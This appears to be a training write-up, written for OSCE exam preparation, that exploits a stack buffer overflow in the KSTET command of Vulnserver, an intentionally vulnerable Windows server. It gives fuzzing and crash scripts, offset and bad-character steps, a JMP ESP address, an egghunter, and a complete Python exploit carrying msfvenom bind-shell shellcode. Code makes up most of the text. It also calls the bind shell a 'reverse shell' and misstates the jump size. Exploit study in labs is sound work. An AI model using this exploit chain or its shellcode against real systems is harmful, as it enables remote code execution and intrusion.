Vulnserver - KSTET Command

As part of my preparation for the taking the CTP course and OSCE exam I used the vulnserver.exe to practice and develop my skills.

1. Intro

Vulnserver is a Windows based threaded TCP server application that is designed to be exploited. The program is intended to be used as a learning tool to teach about the process of software exploitation, as well as a good victim program for testing new exploitation techniques and shellcode.

You can get a copy of the application here https://github.com/zflemingg1/OSCE/tree/master/Vulnserver

2. The Setup

OS Name:                   Microsoft Windows XP Professional
OS Version:                5.1.2600 Service Pack 3 Build 2600
OS Manufacturer:           Microsoft Corporation

Vulnserver - Link above
python 2.7 x86, pydbg 32-bit binary, python wmi, pywin32
Immunity Debugger with mona installed
Kali 2.0 with Boofuzz fuzzer

2.1 Interface

Using netcat connect to X.X.X.X:9999 and issue the HELP command to confirm that everything is working as expected:

3. Fuzzing

For the purpose of this tutorial we will be focusing on fuzzing the KSTET command. Observing that the valid argument structure for the KSTET command is roughly <kstet>[space]<command_value> we can try sending KSTET hello as a test and see if it’s accepted.

As can bee seen above, the command and argument executed successfully. Now that we have confirmed the structure of a command and its arguments, we can start fuzzing this command to see if we can get the program to crash when submitting various argument values to the KSTET command.

The following BOOFUZZ template was created to fuzz the KSTET command in an effort to get the program to crash.

from boofuzz import *

host = '192.168.109.129'
port = 9999


	
session = Session(
	sleep_time = 2,
	target=Target(
	connection=SocketConnection(host, int(port), proto='tcp')
	)
)
	
s_initialize("KSTET")
s_string("KSTET", fuzzable = False)	
s_delim(" ", fuzzable = False)		
s_string("FUZZ")
    
session.connect(s_get("KSTET"))
session.fuzz()

3.1 Crash

The following command appears to have crashed the program indicating that the "KSTET" command can be manipulated to force the program to crash.

3.2 Analysing The Crash

Based on the TCP stream (Figure 5), the number of bytes that was sent by the fuzzer and that caused the crash was around 5000 bytes.

To gain a better understanding of this, the following template was used to identify the length needed to overflow the KSTET command and cause the crash:

import socket
from time import sleep

count = 6000
 
while count >=10:

	TCP_IP = '192.168.109.129'
	TCP_PORT = 9999
	
	payload = "KSTET /.:/"
	payload += "A" * count
	
	try:
		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		s.connect((TCP_IP, TCP_PORT))
		s.settimeout(4.0)
		s.recv(1024)
	
	except:
		print("\nCrash Occured When Sending: {}".format(count))
		exit()

	s.send(payload)
	s.close()	
	
	count = count - 10
	print("Sending Message! - Count:" + str(count))
	s.close()
	print("Message Sent! - Count:" + str(count))
	sleep(3)

As can be seen from Figure 7 the program crashes when a string of 5990 chars is sent. Checking the dump using immunity it can be seen that we control a buffer of length 90 bytes - Figure 8.

4. Determine Offset

Using msf-pattern_create create a pattern of length 90 bytes.

Restart the application and run the updated exploit below:

import socket
import struct

TCP_IP = '192.168.109.129'
TCP_PORT = 9999


payload = "KSTET /.:/"
payload += "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9"
payload += "D" * (5990 - len(payload))
	
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))

s.send(payload)
s.close()	

4.1 Get Offset

Using msf-pattern_offset and the value 41326341 (Figure 10 EIP Value) we can determine our exact offset.

4.2 Confirm Offset

Restart the application in immunity and execute the updated POC below

import socket
import struct

TCP_IP = '192.168.109.129'
TCP_PORT = 9999


payload = "KSTET /.:/"
payload += "A" * 66 # Junk
payload += "B" * 4 # Overwrite EIP
payload += "D" * (5990 - len(payload)) # Junk
	
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))

s.send(payload)
s.close()	

As can be seen from Figure 12, we can successfully control EIP. It can also be observed that the buffer of D’s is located directly after the 4 bytes of B’s. This means that we will be able to simply place our shellcode right after the 4 bytes of B’s.

5. Bad Character Analysis

Clone the https://github.com/zflemingg1/OSCE/tree/master git repository and configure the dependency package as instructed.

5.1 Modifying The Script

Outlined below are the changes you will need to make:

# Modify lines 35 - 40 to be the same as below
'''
    INSERT THE REQUEST TEMPLATE HERE - NEEDS TO BE MODIFIED EVERY TIME
'''
request_template = (
    "KSTET /.:/{}"
)
# Modify Lines 46 and 56 to be the same as below

iteration = 0
processName = "vulnserver.exe" # name of the process as it appears in tasklist
executable = r"C:\Documents and Settings\Administrator\My Documents\Downloads\vulnserver\vulnserver.exe" # path the executable to start the process
start_buffer_address = "\x0C\xFA\xB7\x00" # Take this value straight from immunity
start_buffer_address_offset = 0x04 # The offset you want to read. Note this will typically be 4
seh_violation = False # Change me depending on crash occuring in seh handler 
listeningPort = 9999 # Address of the listening process
crashLoad = "A" * 2003 + "B" * 4 + "{}" + "C" * 3970 # load to crash the proces with {} representing where our test chars will go
responsive_test_string = "HELP"
crash_wait_timeout = 10 # seconds to wait after a payload has been sent
service_responsive_timeout = 10

5.2 Results

Execute the script. Once finished you should have identical results to those outlined below in Figure 14.

As can be seen from Figure 15, '\x00' is the only bad character.

6. Redirecting Execution Flow

As can be seen from Figure 14 all the expected characters (\x01 to \xFF) are accepted. This means that the only bad character was the NULL byte (\x00 - Figure 15). The next step was to find an address that contains a JMP ESP instruction. ]

NOTE: It’s always recommended to use an address from the application itself, or a DLL that comes with the application for compatibility purposes. I.E. the exploit will work even if the application was installed on a different machine. For Vulnserver.exe we can look at the DLL that comes with it (essfunc.dll).

Restart the application in Immunity and execute the following command !mona jmp -r esp -m "essfunc.dll".

6.1 Taking Control of EIP

Restart the application in Immunity, set a breakpoint at address 0x625011AF and execute the updated POC below

import socket
import struct

TCP_IP = '192.168.109.129'
TCP_PORT = 9999


payload = "KSTET /.:/"
payload += "A" * 66 # Junk
payload += struct.pack("<I",0x625011AF) # Overwrite EIP
payload += "D" * (5990 - len(payload)) # Junk
	
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))

s.send(payload)
s.close()	

Step through the breakpoint using F7 and you will land in the D buffer - Figure 18.

7. Jumping Out Of Small Buffer

As can be seen in Figure 19, we have approximately 20 bytes remaining. Due to the limited buffer space remaining we will need to somehow jump backwards into our A buffer to gain more space. To do this we will perform a negative jump of 70 bytes backwards into our A buffer.

Restart the application, set a breakpoint at 0x625011AFand run the updated exploit shown below:

If we follow the jump using F7 we should land in the start of our A buffer.

We now have 66 bytes that we can use. This space is still quiet small and nowhere near long enough for shellcode. To circumvent this, we can perform a 2 stage attack. The first phase will be to use one of the other commands to inject our shellcode into memory and then the second phase will be to use an egghunter to locate our shellcode in memory and execute it.

8. Egghunter

At this point there is approximately 66 bytes of uninterrupted space under our control in our A buffer. This is more than enough space for an egghunter - typically 32 bytes. The following command was used to generate our egghunter. msf-egghunter -f raw -e b00b -v egghunter -p windows -a x86 -f python

8.1 Verify That Egghunter Works

The next step is to add the shellcode for the egghunter. Restart the application, set a breakpoint at 0x625011AFand run the updated exploit shown below:

import socket
import struct


# Function to send shellcode using one of the other commands to have it stored in memory. 
def inject_memory(TCP_IP, TCP_PORT):
	
	commands = ['STATS', 'RTIME', 'LTIME', 'SRUN', 'TRUN', 'GMON', 'GDOG', 'HTER', 'LTER', 'KSTAN'] # GTER caused issues
	
	for command in commands:
		
		payload = "{} b00bb00b{}".format(command, "B" * (500))
		
		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		s.connect((TCP_IP, TCP_PORT))

		s.send(payload)
		s.close()	
		
# Main function to redirect execution flow and execute egghunter
def main_payload(TCP_IP, TCP_PORT):

	egghunter =  b""
	egghunter += b"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd"
	egghunter += b"\x2e\x3c\x05\x5a\x74\xef\xb8\x62\x30\x30\x62"
	egghunter += b"\x89\xd7\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

	payload = "KSTET /.:/"
	payload += "A" * 2 # Junk
	payload += egghunter
	payload += "A" * (76 - len(payload))
	payload += struct.pack("<I",0x625011AF) # Overwrite EIP
	payload += "\xeb\xb8" # Negative jump backwards 60 bytes
	payload += "D" * (5990 - len(payload)) # Junk
		
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((TCP_IP, TCP_PORT))

	s.send(payload)
	s.close()	

TCP_IP = '192.168.109.129'
TCP_PORT = 9999
inject_memory(TCP_IP, TCP_PORT)
main_payload(TCP_IP, TCP_PORT)

Stepping into our breakpoint and taking the jump back to the start of our A buffer we should see the instructions for our egghunter. Set a breakpoint at 00D7F9E6 and hit F9.

Once our breakpoint is hit, follow it using f8 to the start of our located dummy code.

As can be seen from Figure 29 we have successfully verified that our egghunter is working as expected.

8.2 Finding A Suitable Command

As can be seen in Figure 29, the RTIME command is truncated after approximately 100 bytes. Again this is too small for our shellcode which will take up roughly 300+ bytes. Our next step is to locate which command has a large enough buffer that we can use to inject our shellcode.

9. Generating Shellcode

Using all the information that we've gathered we can now generate the payload as shown below:

msfvenom -p windows/shell_bind_tcp EXITFUNC=thread -b "\x00" -f python -v shellcode

9.1 Getting Shell

Restart the application and execute the updated POC shown below:

import socket
import struct


# Function to send shellcode using one of the other commands to have it stored in memory. 
def inject_memory(TCP_IP, TCP_PORT):
	
	shellcode =  b""
	shellcode += b"\xda\xd1\xbe\xf1\x4d\x4e\x67\xd9\x74\x24\xf4"
	shellcode += b"\x5a\x31\xc9\xb1\x53\x31\x72\x17\x03\x72\x17"
	shellcode += b"\x83\x33\x49\xac\x92\x4f\xba\xb2\x5d\xaf\x3b"
	shellcode += b"\xd3\xd4\x4a\x0a\xd3\x83\x1f\x3d\xe3\xc0\x4d"
	shellcode += b"\xb2\x88\x85\x65\x41\xfc\x01\x8a\xe2\x4b\x74"
	shellcode += b"\xa5\xf3\xe0\x44\xa4\x77\xfb\x98\x06\x49\x34"
	shellcode += b"\xed\x47\x8e\x29\x1c\x15\x47\x25\xb3\x89\xec"
	shellcode += b"\x73\x08\x22\xbe\x92\x08\xd7\x77\x94\x39\x46"
	shellcode += b"\x03\xcf\x99\x69\xc0\x7b\x90\x71\x05\x41\x6a"
	shellcode += b"\x0a\xfd\x3d\x6d\xda\xcf\xbe\xc2\x23\xe0\x4c"
	shellcode += b"\x1a\x64\xc7\xae\x69\x9c\x3b\x52\x6a\x5b\x41"
	shellcode += b"\x88\xff\x7f\xe1\x5b\xa7\x5b\x13\x8f\x3e\x28"
	shellcode += b"\x1f\x64\x34\x76\x3c\x7b\x99\x0d\x38\xf0\x1c"
	shellcode += b"\xc1\xc8\x42\x3b\xc5\x91\x11\x22\x5c\x7c\xf7"
	shellcode += b"\x5b\xbe\xdf\xa8\xf9\xb5\xf2\xbd\x73\x94\x9a"
	shellcode += b"\x72\xbe\x26\x5b\x1d\xc9\x55\x69\x82\x61\xf1"
	shellcode += b"\xc1\x4b\xac\x06\x25\x66\x08\x98\xd8\x89\x69"
	shellcode += b"\xb1\x1e\xdd\x39\xa9\xb7\x5e\xd2\x29\x37\x8b"
	shellcode += b"\x4f\x21\x9e\x64\x72\xcc\x60\xd5\x32\x7e\x09"
	shellcode += b"\x3f\xbd\xa1\x29\x40\x17\xca\xc2\xbd\x98\xe5"
	shellcode += b"\x4e\x4b\x7e\x6f\x7f\x1d\x28\x07\xbd\x7a\xe1"
	shellcode += b"\xb0\xbe\xa8\x59\x56\xf6\xba\x5e\x59\x07\xe9"
	shellcode += b"\xc8\xcd\x8c\xfe\xcc\xec\x92\x2a\x65\x79\x04"
	shellcode += b"\xa0\xe4\xc8\xb4\xb5\x2c\xba\x55\x27\xab\x3a"
	shellcode += b"\x13\x54\x64\x6d\x74\xaa\x7d\xfb\x68\x95\xd7"
	shellcode += b"\x19\x71\x43\x1f\x99\xae\xb0\x9e\x20\x22\x8c"
	shellcode += b"\x84\x32\xfa\x0d\x81\x66\x52\x58\x5f\xd0\x14"
	shellcode += b"\x32\x11\x8a\xce\xe9\xfb\x5a\x96\xc1\x3b\x1c"
	shellcode += b"\x97\x0f\xca\xc0\x26\xe6\x8b\xff\x87\x6e\x1c"
	shellcode += b"\x78\xfa\x0e\xe3\x53\xbe\x2f\x06\x71\xcb\xc7"
	shellcode += b"\x9f\x10\x76\x8a\x1f\xcf\xb5\xb3\xa3\xe5\x45"
	shellcode += b"\x40\xbb\x8c\x40\x0c\x7b\x7d\x39\x1d\xee\x81"
	shellcode += b"\xee\x1e\x3b"

	
	commands = ['TRUN'] # GTER caused issues
	
	
	
	for command in commands:
		
		payload = "{} b00bb00b{}".format(command, shellcode)
		
		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		s.connect((TCP_IP, TCP_PORT))

		s.send(payload)
		s.close()	
		
# Main function to redirect execution flow and execute egghunter
def main_payload(TCP_IP, TCP_PORT):

	egghunter =  b""
	egghunter += b"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd"
	egghunter += b"\x2e\x3c\x05\x5a\x74\xef\xb8\x62\x30\x30\x62"
	egghunter += b"\x89\xd7\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

	payload = "KSTET /.:/"
	payload += "A" * 2 # Junk
	payload += egghunter
	payload += "A" * (76 - len(payload))
	payload += struct.pack("<I",0x625011AF) # Overwrite EIP
	payload += "\xeb\xb8" # Negative jump backwards 60 bytes
	payload += "D" * (5990 - len(payload)) # Junk
		
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((TCP_IP, TCP_PORT))

	s.send(payload)
	s.close()	

TCP_IP = '192.168.109.129'
TCP_PORT = 9999
inject_memory(TCP_IP, TCP_PORT)
main_payload(TCP_IP, TCP_PORT)

Using netcat, connect to the target host using port 4444 and you should now have a reverse shell:

Last updated